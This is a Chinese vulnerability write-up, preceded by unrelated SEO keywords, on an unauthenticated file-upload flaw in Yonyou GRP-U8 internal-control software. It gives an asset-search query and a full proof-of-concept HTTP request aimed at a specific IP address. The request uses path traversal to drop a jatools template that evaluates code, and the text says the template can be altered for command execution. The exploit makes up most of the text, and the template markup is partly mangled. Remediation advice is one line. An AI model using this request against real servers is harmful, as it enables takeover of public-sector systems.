渭城区住房和城乡建设局网站,朔州网站建设收费,有关做详情页的参考网站,商店网站源码漏洞描述
用友GRP-U8行政事业内控管理软件是一款专门针对行政事业单位开发的内部控制管理系统#xff0c;旨在提高内部控制的效率和准确性。该软件/u8qx/SmartUpload01.jsp接口存在文件上传漏洞#xff0c;未经授权的攻击者可通过此漏洞上传恶意后门文件#xff0c;从而获取…漏洞描述
用友GRP-U8行政事业内控管理软件是一款专门针对行政事业单位开发的内部控制管理系统旨在提高内部控制的效率和准确性。该软件/u8qx/SmartUpload01.jsp接口存在文件上传漏洞未经授权的攻击者可通过此漏洞上传恶意后门文件从而获取服务器权限。
资产测绘
app“用友-GRP-U8”
漏洞复现
poc
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: 111.230.26.150
Content-Type: multipart/form-data; boundary----800717874476702101754515
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Length: 3438------800717874476702101754515
Content-Disposition: form-data; nameuname../../../../../../../../../gogogo
------800717874476702101754515
Content-Disposition: form-data; nameinput_localfile; filenamegogogo.pdfjatools Classjatools.ReportDocument Namejatools report template
VariableContext
/VariableContext
Page
Namepanel/Name
Children ItemClassPagePanel
Item0
Nameheader/Name
Width753/Width
Height80/Height
Children ItemClassLabel
Item0
Text用一个Student对象,和其getMembers()方法,作成一个嵌套的表格dlvmwt/Text
ForeColor-65536/ForeColor
X41/X
Y15/Y
Width362/Width
Height62/Height
/Item0
/Children
Type100/Type
/Item0
Item1
Namefooter/Name
Y802/Y
Width753/Width
Height280/Height
Type103/Type
/Item1
Item2
Namebody/Name
Y80/Y
Width753/Width
Height722/Height
Children ItemClassTable
Item0
NodePath学生表/NodePath
X115/X
Y77/Y
Children
Item0 ClassLabel
Text家庭成员/Text
Border/
PrintStyleunited-level:1;/PrintStyle
Cell
Row3/Row
Col0/Col
RowSpan2/RowSpan
/Cell
/Item0
Item1 ClassLabel
Text关系/Text
BackColor-4144897/BackColor
Border/
Cell
Row3/Row
Col1/Col
/Cell
/Item1
Item2 ClassLabel
Text性别/Text
BackColor-4144897/BackColor
Border/
Cell
Row3/Row
Col2/Col
/Cell
/Item2
Item3 ClassLabel
Text年龄/Text
BackColor-4144897/BackColor
Border/
Cell
Row3/Row
Col3/Col
/Cell
/Item3
Item4 ClassLabel
Text得分/Text
Border/
Cell
Row2/Row
Col0/Col
/Cell
/Item4
Item5 ClassLabel
Text性别/Text
Border/
Cell
Row1/Row
Col0/Col
/Cell
/Item5
Item6 ClassLabel
Text姓名/Text
Border/
Cell
Row0/Row
Col0/Col
/Cell
/Item6
Item7 ClassText
Variable$学生表/Variable
Border/
Cell
Row0/Row
Col1/Col
ColSpan3/ColSpan
/Cell
/Item7
Item8 ClassText
Variable$学生表.value()/Variable
Border/
Cell
Row1/Row
Col1/Col
ColSpan3/ColSpan
/Cell
/Item8
Item9 ClassText
Variable$学生表.getName()/Variable
Border/
Cell
Row2/Row
Col1/Col
ColSpan3/ColSpan
/Cell
/Item9
Item10 ClassRowPanel
Cell
Row4/Row
Col0/Col
ColSpan4/ColSpan
/Cell
Children ItemClassText
Item0 Variable/Variable
Border/
Cell
Row4/Row
Col3/Col
/Cell
/Item0
Item1
Variable/Variable
Border/
Cell
Row4/Row
Col2/Col
/Cell
/Item1
Item2
Variable;/Variable
Border/
Cell
Row4/Row
Col1/Col
/Cell
/Item2
/Children
NodePath成员/NodePath
/Item10
/Children
ColumnWidths60,60,60,60/ColumnWidths
RowHeights20,20,20,20,20/RowHeights
/Item0
/Children
Type102/Type
/Item2
/Children
/Page
NodeSource
Children ItemClassArrayNodeSource
Item0
Children ItemClassArrayNodeSource
Item0
TagName成员/TagName
Expression$.value()/Expression
/Item0
/Children
TagName学生表/TagName
Expressionnew Object[]{123*123}/Expression
/Item0
/Children
/NodeSource
/jatools
------800717874476702101754515--访问上传文件 当然也可以修改模板达到命令执行的效果
整改建议
通过防火墙等安全设备限制访问策略设置内容检测机制和白名单访问 如非必要禁止公网访问该系统
